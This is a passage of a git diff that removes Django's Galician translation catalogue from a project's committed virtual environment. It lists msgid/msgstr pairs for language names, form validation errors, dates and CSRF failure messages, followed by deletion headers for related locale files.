-"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: gl\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Africáner" - -msgid "Arabic" -msgstr "Árabe" - -msgid "Algerian Arabic" -msgstr "Árabe Arxelino" - -msgid "Asturian" -msgstr "Asturiano" - -msgid "Azerbaijani" -msgstr "Azerí" - -msgid "Bulgarian" -msgstr "Búlgaro" - -msgid "Belarusian" -msgstr "Bielorruso" - -msgid "Bengali" -msgstr "Bengalí" - -msgid "Breton" -msgstr "Bretón" - -msgid "Bosnian" -msgstr "Bosníaco" - -msgid "Catalan" -msgstr "Catalán" - -msgid "Central Kurdish (Sorani)" -msgstr "Kurdo Central (Sorani)" - -msgid "Czech" -msgstr "Checo" - -msgid "Welsh" -msgstr "Galés" - -msgid "Danish" -msgstr "Dinamarqués" - -msgid "German" -msgstr "Alemán" - -msgid "Lower Sorbian" -msgstr "Baixo Sorabo" - -msgid "Greek" -msgstr "Grego" - -msgid "English" -msgstr "Inglés" - -msgid "Australian English" -msgstr "Inglés australiano" - -msgid "British English" -msgstr "inglés británico" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Español" - -msgid "Argentinian Spanish" -msgstr "Español da Arxentina" - -msgid "Colombian Spanish" -msgstr "Español de Colombia" - -msgid "Mexican Spanish" -msgstr "Español de México" - -msgid "Nicaraguan Spanish" -msgstr "Español de Nicaragua" - -msgid "Venezuelan Spanish" -msgstr "Español de Venezuela" - -msgid "Estonian" -msgstr "Estoniano" - -msgid "Basque" -msgstr "Vasco" - -msgid "Persian" -msgstr "Persa" - -msgid "Finnish" -msgstr "Finés" - -msgid "French" -msgstr "Francés" - -msgid "Frisian" -msgstr "Frisón" - -msgid "Irish" -msgstr "Irlandés" - -msgid "Scottish Gaelic" -msgstr "Gaélico Escocés" - -msgid "Galician" -msgstr "Galego" - -msgid "Hebrew" -msgstr "Hebreo" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croata" - -msgid "Upper Sorbian" -msgstr "Alto Sorabo" - -msgid "Hungarian" -msgstr "Húngaro" - -msgid "Armenian" -msgstr "Armenio" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesio" - -msgid "Igbo" -msgstr "Ibo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandés" - -msgid "Italian" -msgstr "Italiano" - -msgid "Japanese" -msgstr "Xaponés" - -msgid "Georgian" -msgstr "Xeorxiano" - -msgid "Kabyle" -msgstr "Cabilio" - -msgid "Kazakh" -msgstr "Casaco" - -msgid "Khmer" -msgstr "Camboxano" - -msgid "Kannada" -msgstr "Canará" - -msgid "Korean" -msgstr "Coreano" - -msgid "Kyrgyz" -msgstr "Kirguiz" - -msgid "Luxembourgish" -msgstr "Luxemburgués" - -msgid "Lithuanian" -msgstr "Lituano" - -msgid "Latvian" -msgstr "Letón" - -msgid "Macedonian" -msgstr "Macedonio" - -msgid "Malayalam" -msgstr "Mala" - -msgid "Mongolian" -msgstr "Mongol" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Malaio" - -msgid "Burmese" -msgstr "Birmano" - -msgid "Norwegian Bokmål" -msgstr "Bokmål Noruegués" - -msgid "Nepali" -msgstr "Nepalés" - -msgid "Dutch" -msgstr "Holandés" - -msgid "Norwegian Nynorsk" -msgstr "Noruegués (nynorsk)" - -msgid "Ossetic" -msgstr "Osetio" - -msgid "Punjabi" -msgstr "Panxabiano" - -msgid "Polish" -msgstr "Polaco" - -msgid "Portuguese" -msgstr "Portugués" - -msgid "Brazilian Portuguese" -msgstr "Portugués do Brasil" - -msgid "Romanian" -msgstr "Romanés" - -msgid "Russian" -msgstr "Ruso" - -msgid "Slovak" -msgstr "Eslovaco" - -msgid "Slovenian" -msgstr "Esloveno" - -msgid "Albanian" -msgstr "Albanés" - -msgid "Serbian" -msgstr "Serbio" - -msgid "Serbian Latin" -msgstr "Serbio (alfabeto latino)" - -msgid "Swedish" -msgstr "Sueco" - -msgid "Swahili" -msgstr "Suahili" - -msgid "Tamil" -msgstr "Támil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Taxico" - -msgid "Thai" -msgstr "Tai" - -msgid "Turkmen" -msgstr "Turcomá" - -msgid "Turkish" -msgstr "Turco" - -msgid "Tatar" -msgstr "Tártaro" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Uyghur" -msgstr "Uigur" - -msgid "Ukrainian" -msgstr "Ucraíno" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Uzbeco" - -msgid "Vietnamese" -msgstr "Vietnamita" - -msgid "Simplified Chinese" -msgstr "Chinés simplificado" - -msgid "Traditional Chinese" -msgstr "Chinés tradicional" - -msgid "Messages" -msgstr "Mensaxes" - -msgid "Site Maps" -msgstr "Mapas do sitio" - -msgid "Static Files" -msgstr "Arquivos Estáticos" - -msgid "Syndication" -msgstr "Sindicación" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Ese número de páxina non é un enteiro" - -msgid "That page number is less than 1" -msgstr "Ese número de páxina é menor que 1" - -msgid "That page contains no results" -msgstr "Esa páxina non contén resultados" - -msgid "Enter a valid value." -msgstr "Insira un valor válido." - -msgid "Enter a valid domain name." -msgstr "Introduza un nome de dominio válido." - -msgid "Enter a valid URL." -msgstr "Insira un URL válido." - -msgid "Enter a valid integer." -msgstr "Introduza un enteiro válido." - -msgid "Enter a valid email address." -msgstr "Insira un enderezo de correo electrónico válido." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Insira un “slug” valido composto por letras, números, guións baixos ou " -"medios." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Insira un “slug” valido composto por letras Unicode, números, guións baixos " -"ou medios." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Introduza unha dirección %(protocol)s válida." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 ou IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Insira só díxitos separados por comas." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Asegúrese de que este valor é %(limit_value)s (agora é %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Asegure que este valor é menor ou igual a %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Asegure que este valor é maior ou igual a %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Asegúrese de que este valor é un múltiplo do tamaño do paso %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Asegúrese de que este valor é un múltiplo do tamaño do paso %(limit_value)s, " -"comezando por %(offset)s, p. ex. %(offset)s, %(valid_value1)s, " -"%(valid_value2)s, e sucesivos." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asegúrese de que este valor ten polo menos %(limit_value)d caracter (agora " -"ten %(show_value)d)." -msgstr[1] "" -"Asegúrese de que este valor ten polo menos %(limit_value)d caracteres (agora " -"ten %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asegúrese de que este valor ten como moito %(limit_value)d caracter (agora " -"ten %(show_value)d)." -msgstr[1] "" -"Asegúrese de que este valor ten como moito %(limit_value)d caracteres (agora " -"ten %(show_value)d)." - -msgid "Enter a number." -msgstr "Insira un número." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Asegure que non hai mais de %(max)s díxito en total." -msgstr[1] "Asegure que non hai mais de %(max)s díxitos en total." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Asegúrese de que non hai máis de %(max)s lugar decimal." -msgstr[1] "Asegúrese de que non hai máis de %(max)s lugares decimais." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Asegúrese de que no hai máis de %(max)s díxito antes do punto decimal." -msgstr[1] "" -"Asegúrese de que non hai máis de %(max)s díxitos antes do punto decimal." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Non se permite a extensión “%(extension)s”. As extensións permitidas son: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Non se permiten caracteres nulos." - -msgid "and" -msgstr "e" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "Xa existe un %(model_name)s con este %(field_labels)s." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Viólase a restricción “%(name)s”." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "O valor %(value)r non é unha opción válida." - -msgid "This field cannot be null." -msgstr "Este campo non pode ser nulo." - -msgid "This field cannot be blank." -msgstr "Este campo non pode estar baleiro." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "" -"Xa existe un modelo %(model_name)s coa etiqueta de campo %(field_label)s." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s ten que ser único para %(lookup_type)s en " -"%(date_field_label)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Campo de tipo: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "O valor “%(value)s” ten que ser ou True ou False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "O valor “%(value)s” ten que ser True, False ou None." - -msgid "Boolean (Either True or False)" -msgstr "Valor booleano (verdadeiro ou falso)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Cadea (máximo %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Texto (sin límite)" - -msgid "Comma-separated integers" -msgstr "Números enteiros separados por comas" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"O valor “%(value)s” ten un formato inválido de data. Debe estar no formato " -"AAAA-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"O valor “%(value)s” ten o formato correcto (AAAA-MM-DD) pero non é unha data " -"válida." - -msgid "Date (without time)" -msgstr "Data (sen a hora)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"O valor “%(value)s” ten un formato non válido. Debe de ter o formato AAAA-MM-" -"DD HH:MM[:ss[.uuuuuu]][TZ]. " - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"O valor “%(value)s” ten o formato correcto (AAAA-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) pero non é unha data/hora válida." - -msgid "Date (with time)" -msgstr "Data (coa hora)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s” ten que ser un número en formato decimal." - -msgid "Decimal number" -msgstr "Número decimal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"O valor “%(value)s” ten un formato non válido. Debe de ter o formato [DD] " -"[[HH:]MM:]ss[.uuuuuu]. " - -msgid "Duration" -msgstr "Duración" - -msgid "Email address" -msgstr "Enderezo electrónico" - -msgid "File path" -msgstr "Ruta de ficheiro" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "O valor “%(value)s” ten que ser un número en coma flotante." - -msgid "Floating point number" -msgstr "Número en coma flotante" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "O valor “%(value)s” ten que ser un número enteiro." - -msgid "Integer" -msgstr "Número enteiro" - -msgid "Big (8 byte) integer" -msgstr "Enteiro grande (8 bytes)" - -msgid "Small integer" -msgstr "Enteiro pequeno" - -msgid "IPv4 address" -msgstr "Enderezo IPv4" - -msgid "IP address" -msgstr "Enderezo IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "O valor “%(value)s” ten que ser None, True ou False." - -msgid "Boolean (Either True, False or None)" -msgstr "Booleano (verdadeiro, falso ou ningún)" - -msgid "Positive big integer" -msgstr "Número enteiro positivo grande" - -msgid "Positive integer" -msgstr "Numero enteiro positivo" - -msgid "Positive small integer" -msgstr "Enteiro pequeno positivo" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (ata %(max_length)s)" - -msgid "Text" -msgstr "Texto" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"O valor “%(value)s” ten un formato non válido. Ten que ter o formato HH:MM[:" -"ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"O valor “%(value)s” ten o formato correcto (HH:MM[:ss[.uuuuuu]]) pero non é " -"unha hora válida." - -msgid "Time" -msgstr "Hora" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Datos binarios en crú" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” non é un UUID válido." - -msgid "Universally unique identifier" -msgstr "Identificador único universal" - -msgid "File" -msgstr "Ficheiro" - -msgid "Image" -msgstr "Imaxe" - -msgid "A JSON object" -msgstr "Un obxeto JSON" - -msgid "Value must be valid JSON." -msgstr "O valor ten que ser JSON válido." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "A instancia de %(model)s co %(field)s %(value)r non existe." - -msgid "Foreign Key (type determined by related field)" -msgstr "Clave Foránea (tipo determinado por un campo relacionado)" - -msgid "One-to-one relationship" -msgstr "Relación un a un" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Relación %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Relacións %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Relación moitos a moitos" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Requírese este campo." - -msgid "Enter a whole number." -msgstr "Insira un número enteiro." - -msgid "Enter a valid date." -msgstr "Insira unha data válida." - -msgid "Enter a valid time." -msgstr "Insira unha hora válida." - -msgid "Enter a valid date/time." -msgstr "Insira unha data/hora válida." - -msgid "Enter a valid duration." -msgstr "Introduza unha duración válida." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "O número de días ten que estar entre {min_days} e {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"Non se enviou ficheiro ningún. Comprobe o tipo de codificación do formulario." - -msgid "No file was submitted." -msgstr "Non se enviou ficheiro ningún." - -msgid "The submitted file is empty." -msgstr "O ficheiro enviado está baleiro." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Asegúrese de que este nome de arquivo ten como moito %(max)d caracter (agora " -"ten %(length)d)." -msgstr[1] "" -"Asegúrese de que este nome de arquivo ten como moito %(max)d caracteres " -"(agora ten %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Ou ben envíe un ficheiro, ou ben marque a casilla de eliminar, pero non " -"ambas as dúas cousas." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Suba unha imaxe válida. O ficheiro subido non era unha imaxe ou esta estaba " -"corrupta." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Escolla unha opción válida. %(value)s non se atopa entre as opcións " -"dispoñibles." - -msgid "Enter a list of values." -msgstr "Insira unha lista de valores." - -msgid "Enter a complete value." -msgstr "Introduza un valor completo." - -msgid "Enter a valid UUID." -msgstr "Insira un UUID válido." - -msgid "Enter a valid JSON." -msgstr "Introduza un JSON válido." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Campo oculto %(name)s) %(error)s." - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Faltan datos ou foron manipulados de ManagementForm. Campos afectados: " -"%(field_names)s. Debería abrir un informe de bug si o problema é persistente." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Por favor envíe como moito %(num)d formulario." -msgstr[1] "Por favor envíe como moito %(num)d formularios." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Por favor envíe polo menos %(num)d formulario." -msgstr[1] "Pro favor envíe polo menos %(num)d formularios." - -msgid "Order" -msgstr "Orde" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Corrixa os datos duplicados no campo %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Corrixa os datos duplicados no campo %(field)s, que debe ser único." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Corrixa os datos duplicados no campo %(field_name)s, que debe ser único para " -"a busca %(lookup)s no campo %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Corrixa os valores duplicados de abaixo." - -msgid "The inline value did not match the parent instance." -msgstr "O valor na liña non coincide ca instancia nai." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Escolla unha opción válida. Esta opción non se atopa entre as opcións " -"dispoñíbeis" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” non é un valor válido." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s non se puido interpretar na zona hora horaria " -"%(current_timezone)s; pode ser ambiguo ou non existir." - -msgid "Clear" -msgstr "Limpar" - -msgid "Currently" -msgstr "Actualmente" - -msgid "Change" -msgstr "Modificar" - -msgid "Unknown" -msgstr "Descoñecido" - -msgid "Yes" -msgstr "Si" - -msgid "No" -msgstr "Non" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "si,non,quizais" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "medianoite" - -msgid "noon" -msgstr "mediodía" - -msgid "Monday" -msgstr "Luns" - -msgid "Tuesday" -msgstr "Martes" - -msgid "Wednesday" -msgstr "Mércores" - -msgid "Thursday" -msgstr "Xoves" - -msgid "Friday" -msgstr "Venres" - -msgid "Saturday" -msgstr "Sábado" - -msgid "Sunday" -msgstr "Domingo" - -msgid "Mon" -msgstr "lun" - -msgid "Tue" -msgstr "mar" - -msgid "Wed" -msgstr "mér" - -msgid "Thu" -msgstr "xov" - -msgid "Fri" -msgstr "ven" - -msgid "Sat" -msgstr "sáb" - -msgid "Sun" -msgstr "dom" - -msgid "January" -msgstr "Xaneiro" - -msgid "February" -msgstr "Febreiro" - -msgid "March" -msgstr "Marzo" - -msgid "April" -msgstr "Abril" - -msgid "May" -msgstr "Maio" - -msgid "June" -msgstr "Xuño" - -msgid "July" -msgstr "Xullo" - -msgid "August" -msgstr "Agosto" - -msgid "September" -msgstr "Setembro" - -msgid "October" -msgstr "Outubro" - -msgid "November" -msgstr "Novembro" - -msgid "December" -msgstr "Decembro" - -msgid "jan" -msgstr "xan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "abr" - -msgid "may" -msgstr "mai" - -msgid "jun" -msgstr "xuñ" - -msgid "jul" -msgstr "xul" - -msgid "aug" -msgstr "ago" - -msgid "sep" -msgstr "set" - -msgid "oct" -msgstr "out" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Xan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Marzo" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Abril" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Maio" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Xuño" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Xullo" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ago." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Set." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Out." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dec." - -msgctxt "alt. month" -msgid "January" -msgstr "Xaneiro" - -msgctxt "alt. month" -msgid "February" -msgstr "Febreiro" - -msgctxt "alt. month" -msgid "March" -msgstr "Marzo" - -msgctxt "alt. month" -msgid "April" -msgstr "Abril" - -msgctxt "alt. month" -msgid "May" -msgstr "Maio" - -msgctxt "alt. month" -msgid "June" -msgstr "Xuño" - -msgctxt "alt. month" -msgid "July" -msgstr "Xullo" - -msgctxt "alt. month" -msgid "August" -msgstr "Agosto" - -msgctxt "alt. month" -msgid "September" -msgstr "Setembro" - -msgctxt "alt. month" -msgid "October" -msgstr "Outubro" - -msgctxt "alt. month" -msgid "November" -msgstr "Novembro" - -msgctxt "alt. month" -msgid "December" -msgstr "Decembro" - -msgid "This is not a valid IPv6 address." -msgstr "Isto non é un enderezo IPv6 válido." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "ou" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d ano" -msgstr[1] "%(num)d anos" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mes" -msgstr[1] "%(num)d meses" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d semana" -msgstr[1] "%(num)d semanas" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d día" -msgstr[1] "%(num)d días" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d hora" -msgstr[1] "%(num)d horas" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minuto" -msgstr[1] "%(num)d minutos" - -msgid "Forbidden" -msgstr "Denegado" - -msgid "CSRF verification failed. Request aborted." -msgstr "Fallóu a verificación CSRF. Abortouse a petición." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Está vendo esta mensaxe porque este sitio HTTPS require que o navegador " -"envíe un \"Referer header\", pero non envióu ningún. Este encabezamento é " -"necesario por razóns de seguridade, para asegurar que o navegador non está " -"sendo suplantado por terceiros." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Se ten o navegador configurado para deshabilitar os encabezamentos " -"\"Referer\", por favor habilíteos polo menos para este sitio, ou para " -"conexións HTTPS, ou para peticións de \"mesmo-orixe\"." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Si está usando a etiqueta " -"ou incluíndo o encabezado “Referrer-Policy: no-referrer”, por favor quíteos. " -"A protección CSRF require o encabezado “Referer” para facer a comprobación " -"estricta de referer. Si lle preocupa a privacidade, use alternativas como para enlazar con sitios de terceiros." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Está vendo esta mensaxe porque este sitio HTTPS require unha cookie CSRF ó " -"enviar formularios. Esta cookie é necesaria por razóns de seguridade, para " -"asegurar que o navegador non está sendo suplantado por terceiros." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Se ten o navegador configurado para deshabilitar as cookies, por favor " -"habilíteas, polo menos para este sitio, ou para peticións de “same-origin”." - -msgid "More information is available with DEBUG=True." -msgstr "Pode ver máis información se establece DEBUG=True." - -msgid "No year specified" -msgstr "Non se especificou ningún ano" - -msgid "Date out of range" -msgstr "Data fora de rango" - -msgid "No month specified" -msgstr "Non se especificou ningún mes" - -msgid "No day specified" -msgstr "Non se especificou ningún día" - -msgid "No week specified" -msgstr "Non se especificou ningunha semana" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Non hai %(verbose_name_plural)s dispoñibles" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Non hai dispoñibles %(verbose_name_plural)s futuros/as porque %(class_name)s." -"allow_futuro é False" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "A data “%(datestr)s” non é válida para o formato “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Non se atopou ningún/ha %(verbose_name)s que coincidise coa consulta" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "A páxina non é “last” nin se pode converter a int." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Páxina non válida (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "A lista está baleira pero “%(class_name)s.allow_empty” é False." - -msgid "Directory indexes are not allowed here." -msgstr "Os índices de directorio non están permitidos aquí." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” non existe" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Índice de %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "A instalación foi un éxito! Noraboa!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Ver as notas de publicación para Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Está vendo esta páxina porque no arquivo de axustes ten DEBUG=True e non hai ningunha URL " -"configurada." - -msgid "Django Documentation" -msgstr "Documentación de Django" - -msgid "Topics, references, & how-to’s" -msgstr "Temas, referencias, & guías de uso" - -msgid "Tutorial: A Polling App" -msgstr "Tutorial: aplicación de enquisas" - -msgid "Get started with Django" -msgstr "Comenzar con Django" - -msgid "Django Community" -msgstr "Comunidade de Django" - -msgid "Connect, get help, or contribute" -msgstr "Conectar, conseguir axuda, ou contribuir" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/gl/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/gl/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/gl/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/gl/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 02762574..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/gl/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/gl/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/gl/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index aecc1911..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/gl/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/gl/formats.py 